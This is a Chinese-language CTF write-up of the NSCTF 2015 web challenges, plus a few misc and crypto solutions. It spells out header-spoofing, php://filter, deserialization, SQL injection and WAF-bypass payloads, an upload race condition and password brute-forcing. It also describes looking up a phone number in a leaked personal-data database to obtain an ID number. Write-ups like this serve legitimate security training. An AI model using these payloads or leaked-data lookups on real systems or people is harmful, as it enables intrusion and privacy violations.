NSCTF 2015 WEB完美通关攻略

标签(空格分隔): writeup


写writeup的时候题目已经关了,凭记忆去写吧。难得大神们都没参加的一次比赛,让我们侥幸的排名靠前了,队友做bin的各位爷爷很给力,第一个秒了1500,而3000分也撸出大半。作为web狗表示压力很大。。。

web 01

curl http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/01/index.php

没啥好说的。

web 02

题目地址:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/02/
改referer和xff为如下值:
Refferer:http://www.nsctf.net/
X-FORWORDED-FOR:(www.nsctf.net的ip)
(从本机访问不应该是localhost和127.0.0.1吗?

web 03

题目地址:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/03/
payload:
http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/03/?ver=5.5.9-1ubuntu4.12

告诉我这题有什么意义?纯脑洞?

web 04

题目地址:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/04/
从注释中找到了一个password.txt文件,拖到burp里直接跑密码,最终爆破成功,密码忘记了,根据进一步的提示得到290bca70c7dae93db6644fa00b9d83b9.php这个留言板的页面。需要先把cookie中的isLogin改为1,根据提示需要越权发表留言,尝试了XSS无果,抓包发现POST数据中存在一个userlevel参数,默认为guest,改为root留言成功,得到FLAG。

web 05

解密即可:

#!/usr/bin/env python
import base64

def main():
    rot13_key = "n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf"
    re = list(rot13_key)
    re.reverse()
    re = base64.b64decode("".join(re))
    ss = ""
    for i in re[:]:
        ss += chr(ord(i)-1)
        
    s = list(ss)
    s.reverse()
    print "".join(s)
if __name__ == '__main__':
    main()

web 06

有段js,直接document.write出来,得到了源码,进一步分析找到了用户名和密码为:
G0od!JAVA3C41PTISAGO
1pt_Pa4sW0rd_K3y_H3re

根据提示找到了这个页面
http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/06/Ch3ck_Au7h.php
接下来脑洞时间,把index.php中的form表单进行如下修改:

<form method="POST" action="Ch3ck_Au7h.php" name="login">
<input type="text" style="margin: 0px 0px 0px 60px;" name="uname"><br><br>
<input type="password" style="margin: 0px 0px 0px 60px;" name="upass">
<input type="submit" value="login"></form>

填入刚才的用户名密码,得到FLAG。

web 07

根据给出的生日、姓名和QQ号,写脚本生成字典,然后进行爆破,得到密码为:Xiaoming09231995
(谁把生日这么写啊喂!
然后给出了一个手机号,队友丢到社工库里查了下,把身份证当FLAG交了,对了。

web 08

你确定这叫LFI?这明明是写死了答案的脑筋急转弯好么。。
payload:

php://filter/read=convert.base64-encode/resource=index.php

你看看这题的源码,哪有这么出题的!

<?php
error_reporting(0);

if(isset($_POST['submit'])){

  if(isset($_POST['file'])){

          $file = $_POST['file'];

          $method = explode("=", $file);

          if( ($method[0] == "php://filter/read") && ($method[2] == "index.php") ){
           include($file);
        exit();
    }else{
            exit('error file or error method');
    }
  }
}

从index.php的源码里得到了FLAG

web 09

PHP4FUN的原题,我还有什么好说的?
payload:

http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/09/changepassword.php?userInfo=a:2:{s:2:"id";i:1;s:4:"pass";s:8:"20150923";}&oldPass=20150923&newPass=222222

web 10

你的非常规备份文件就是末尾加个点?
http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/10/index.php.

变量覆盖掉$_CONFIG就可以,不过你这给的源码和实际都不符啊,明明使用$_REQUEST接受变量,为嘛只能POST?也是PHP4FUN原题,没啥好说的:
payload

username='aaaa&password=||1#&Submit=%E6%8F%90%E4%BA%A4&_CONFIG=123

原理,这样提交后,SQL语句变成了和下面差不多的形式,然后就绕过了。

SELECT * FROM users WHERE user='\' AND password='||1#'

web 11

这文件上传也是逗,估计一开始把文件过滤的那个代码给注释了,让别人传了shell拿到所有web题的flag,不得不吐个槽。

尝试了一下发现不管啥文件都删,那就是一边传一边CURL,写了两个脚本跑,一开始发现没啥用,后来测试发现只有PHP5才可以,于是开始上传PHP5的脚本,最后发现服务端把flag写到了上传的文件里,然后删了。

就这样得到了FLAG。

PS:发现一个shell.php,爆破出密码是c,连上去看到了index.php的源码,这个又是写死的,哪有这么出题的。

<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>NSCTF</title>
</head>
<body alink="#007000" background="../images/dot.gif" bgcolor="#000000" link="gold" text="#008000" vlink="#00c000">
<br>
<br>
<br>
<center>
<head><h1>请上传文件!</h1></head><br>
<br>
<br><br>
<form method="post" action="index.php" enctype="multipart/form-data">
 <input type="file" name="file" value="1111"/>
 <input type="submit" name="submit" value="upload"/>
</form>
</center>

<?php

error_reporting(0);

if(isset($_POST['submit'])){
  
  $savefile = $_FILES['file']['name'];
  $savefile = preg_replace("/\.\.|\%/", "", $savefile);
  $tempfile = $_FILES['file']['tmp_name'];
  //$savefile = preg_replace("/(php|php3|php4)(\.|$)/i", "_\\1\\2", $savefile);
  $savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
  $savefile = 'upload/'.$savefile;

  if(move_uploaded_file($tempfile,$savefile)){
    
    //$filename = substr($savefile,0,strlen($savefile)-1);
    $filename = $savefile;
    
    if(file_exists($filename) && ( (substr($savefile, -5) == '.php5') )){
        file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}");
        sleep(0.5);
        unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~");
      }else{
    unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>");
      }
  }else{
    exit('上传失败~'."<br>");
  }

}

function upload($src,$dst){
 
  if(move_uploaded_file($src,$dst)){
      return true;
  }

  return false;

}
?>

web 12

SQL注入,怎么注都没用,后来队友发现了个filtername参数,会把username里的东西进行替换,替换为空。这样一来就可以bypass了,这个题的检验顺序是先过WAF检测,然后替换,把关键字用任意的字符串隔开,然后替换为空就可以绕过WAF,单引号进行二次URL编码即可绕过,空格使用加号处理。关键字再大小写混淆一下,最终payload为:

username=admin%2527+univvoN+Avvll+sElevvct+flag,2+from+flag#&filtername=vv&Submit=%E6%8F%90%E4%BA%A4

我能说这是WEB题里质量最高的一个了么。。。
至此WEB题已经通关,附上几个我做的其他题目的writeup

MSIC 03

是个模拟RFID卡的东西,初始给了一张饭卡,可以选择刷卡或查余额,只要余额为208元即可。对比原卡和消费一次以后的卡,发现了两处数据不同。
第一处数据(好像在第一扇区)是消费的金额,第二处数据(好像是第三扇区)是卡的余额,直接十六进制换十进制,单位是分。后面有一个校验是对数据取反,尝试更改为208,被说too young了,在消费一次拿来对比,发现第二个扇区的数据没有变化,换位10进制发现是100,应该是卡的金额上限,随便改个300,然后把余额改为208,消费额改为92,把这个卡拿去查余额,得到flag。

CRYPTO 02

binwalk一下,发现有两个图片头,把第二个图片抠出来,发现就是flag。

CRYPTO 03

图片隐写,用stego神器搞出了二维码,扫一扫就有flag了。